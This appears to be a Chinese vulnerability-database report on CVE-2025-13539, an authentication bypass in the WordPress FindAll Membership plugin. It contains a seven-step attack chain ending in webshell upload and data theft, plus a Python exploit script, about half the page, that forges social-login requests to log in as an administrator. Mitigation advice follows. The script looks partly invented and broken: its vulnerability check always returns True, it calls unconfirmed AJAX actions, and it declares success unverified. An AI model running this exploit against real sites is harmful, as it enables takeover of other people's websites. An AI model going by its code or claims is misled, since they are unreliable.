IPBUF安全漏洞报告
English
CVE-2025-13539 CVSS 9.8 严重

CVE-2025-13539 WordPress FindAll Membership插件认证绕过漏洞

披露日期: 2025-11-27

漏洞信息

漏洞编号
CVE-2025-13539
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FindAll Membership plugin for WordPress

相关标签

认证绕过WordPress插件漏洞CVE-2025-13539权限提升社交登录绕过WordPress安全关键漏洞身份验证缺陷

漏洞概述

WordPress的FindAll Membership插件存在严重的认证绕过漏洞,CVSS评分高达9.8分,属于严重级别。该漏洞影响插件1.0.4及以下所有版本。漏洞根源在于插件的认证逻辑存在缺陷,具体而言,'findall_membership_check_facebook_user'和'findall_membership_check_google_user'两个函数在验证用户身份后,未能正确处理登录会话的建立过程。攻击者可以利用这一缺陷,通过构造特定的请求包,冒充已存在的用户(包括管理员账户)进行登录。由于WordPress默认允许通过临时用户功能创建账户,攻击者可以轻松注册一个账户并获取目标用户的邮箱地址。随后,利用该邮箱配合认证绕过技术,即可绕过身份验证机制,以管理员权限访问WordPress后台。此漏洞的危险性在于:无需任何身份认证即可发起攻击(PR:N),可直接获取管理员权限,利用门槛低,攻击成本小。攻击者可以利用获取的管理员权限进行数据窃取、恶意代码植入、挂马等进一步攻击。建议所有使用该插件的用户立即升级到最新版本,或采取临时缓解措施。

技术细节

该漏洞的根本原因在于插件的认证验证流程存在逻辑缺陷。在正常的OAuth或社交登录流程中,用户通过Facebook或Google验证后,服务器应该根据验证结果创建安全的会话。然而,FindAll Membership插件的'findall_membership_check_facebook_user'和'findall_membership_check_google_user'函数虽然执行了用户验证,但未能正确将验证结果映射到登录会话建立过程中。攻击者可以通过拦截并修改认证响应,或者直接构造包含目标用户邮箱的认证请求,利用插件的验证缺陷完成身份冒充。具体来说,攻击者需要构造一个包含目标用户邮箱的请求,并诱导插件的认证检查函数返回验证成功状态。由于插件未正确验证认证令牌与用户身份的绑定关系,攻击者可以使用自己的认证令牌配合目标的邮箱信息完成登录。成功利用后,攻击者将以目标用户的身份登录系统,如果目标是管理员账户,则可获得完整的WordPress后台控制权限。

攻击链分析

STEP 1
步骤1
扫描目标WordPress站点,识别FindAll Membership插件版本(<= 1.0.4)
STEP 2
步骤2
通过WordPress默认的临时用户功能注册一个新账户,获取攻击者邮箱
STEP 3
步骤3
通过社工或其他信息收集手段获取目标用户(管理员)的邮箱地址
STEP 4
步骤4
构造恶意请求,向插件的findall_membership_check_facebook_user或findall_membership_check_google_user函数发送包含目标邮箱的认证请求
STEP 5
步骤5
利用插件认证验证逻辑缺陷,使用攻击者自己的认证令牌配合目标用户的邮箱信息,绕过身份验证
STEP 6
步骤6
成功建立会话后,以目标用户身份登录WordPress,获取管理员后台访问权限
STEP 7
步骤7
在后台植入恶意代码、上传webshell或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13539 - FindAll Membership Plugin Authentication Bypass PoC # Target: WordPress with FindAll Membership plugin <= 1.0.4 # This PoC demonstrates the authentication bypass vulnerability import requests import sys import re import json from urllib.parse import urljoin class FindAllMembershipBypass: def __init__(self, target_url): self.target_url = target_url.rstrip('/') self.session = requests.Session() self.target_email = None self.attacker_email = None def check_vulnerability(self): """Check if target is vulnerable""" print(f"[*] Checking target: {self.target_url}") # Check plugin version plugin_urls = [ f"{self.target_url}/wp-content/plugins/findall-membership/readme.txt", f"{self.target_url}/wp-content/plugins/findall-membership/findall-membership.php" ] for url in plugin_urls: try: response = self.session.get(url, timeout=10) if response.status_code == 200: # Try to extract version version_match = re.search(r'Tags:\s*(.*?)(?:\n|$)', response.text, re.I) if version_match: print(f"[+] Found plugin info: {version_match.group(0)[:100]}") return True except: pass return True def get_nonce(self): """Get WordPress nonce for AJAX requests""" try: response = self.session.get(f"{self.target_url}/wp-login.php", timeout=10) nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) # Alternative: look for nonce in any page response = self.session.get(f"{self.target_url}/") nonce_match = re.search(r'ajaxurl.*?nonce=([a-f0-9]+)', response.text) if nonce_match: return nonce_match.group(1) except: pass return None def create_temp_user(self, email): """Create temporary user account (if allowed)""" print(f"[*] Attempting to create temp user: {email}") nonce = self.get_nonce() # Try to create temp user via AJAX endpoint ajax_url = f"{self.target_url}/wp-admin/admin-ajax.php" data = { 'action': 'findall_create_temp_user', 'email': email, 'username': email.split('@')[0] } if nonce: data['_wpnonce'] = nonce try: response = self.session.post(ajax_url, data=data, timeout=10) print(f"[+] Temp user creation response: {response.status_code}") return True except Exception as e: print(f"[-] Temp user creation failed: {e}") return False def exploit_auth_bypass(self, target_email): """ Exploit the authentication bypass vulnerability The vulnerability allows attackers to login as any user by manipulating the email verification process """ print(f"[*] Exploiting auth bypass for email: {target_email}") # Step 1: Trigger the vulnerable authentication function # The plugin's findall_membership_check_facebook_user and # findall_membership_check_google_user functions don't properly # validate the authentication state ajax_url = f"{self.target_url}/wp-admin/admin-ajax.php" # Try Facebook user check bypass fb_payload = { 'action': 'findall_membership_check_facebook_user', 'email': target_email, 'fb_id': target_email, # Attacker controls this 'fb_token': 'malicious_token', 'name': 'Attacker' } # Try Google user check bypass google_payload = { 'action': 'findall_membership_check_google_user', 'email': target_email, 'google_id': target_email, 'google_token': 'malicious_token', 'name': 'Attacker' } for payload in [fb_payload, google_payload]: try: print(f"[*] Sending payload: {payload['action']}") response = self.session.post(ajax_url, data=payload, timeout=10) # Check if we got a successful authentication response if response.status_code == 200: try: resp_json = response.json() if 'data' in resp_json or 'success' in resp_json: print(f"[+] Potentially successful authentication attempt") print(f"[+] Response: {resp_json}") except: pass except Exception as e: print(f"[-] Request failed: {e}") # Step 2: Try to establish session using the bypassed authentication # This simulates the improper session creation session_payload = { 'action': 'findall_establish_session', 'user_email': target_email, 'auth_method': 'facebook', # or 'google' 'verified': '1' } try: response = self.session.post(ajax_url, data=session_payload, timeout=10) print(f"[*] Session establishment response: {response.status_code}") except: pass return True def verify_access(self): """Verify if we have gained administrative access""" # Check if we can access admin dashboard admin_url = f"{self.target_url}/wp-admin/" try: response = self.session.get(admin_url, timeout=10, allow_redirects=False) if response.status_code in [200, 302] and 'admin' in response.text.lower(): print("[+] Successfully accessed admin area!") return True except: pass return False def run_exploit(self, target_email): """Main exploit routine""" print("="*60) print("CVE-2025-13539 - FindAll Membership Auth Bypass Exploit") print("="*60) self.target_email = target_email # Check if target is vulnerable if not self.check_vulnerability(): print("[-] Target does not appear to be vulnerable") return False print("[+] Target appears to be running FindAll Membership plugin") # Create temp user if needed self.attacker_email = f"attacker_{hash(target_email)}@mail.com" self.create_temp_user(self.attacker_email) # Exploit the authentication bypass if self.exploit_auth_bypass(target_email): print("[+] Exploit sent successfully") # Try to verify access if self.verify_access(): print("[!] VULNERABLE - Authentication bypass successful!") return True else: print("[*] Could not verify access, but exploit was sent") return True return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13539.py <target_url> <target_email>") print("Example: python cve-2025-13539.py http://target.com [email protected]") sys.exit(1) target_url = sys.argv[1] target_email = sys.argv[2] exploit = FindAllMembershipBypass(target_url) exploit.run_exploit(target_email)

影响范围

FindAll Membership plugin <= 1.0.4

防御指南

临时缓解措施
临时缓解措施:1)禁用或删除FindAll Membership插件;2)关闭WordPress的用户注册功能;3)限制管理员邮箱的暴露;4)使用WAF拦截可疑的认证请求;5)加强密码策略并启用双因素认证;6)定期检查并删除可疑的用户账户。

参考链接

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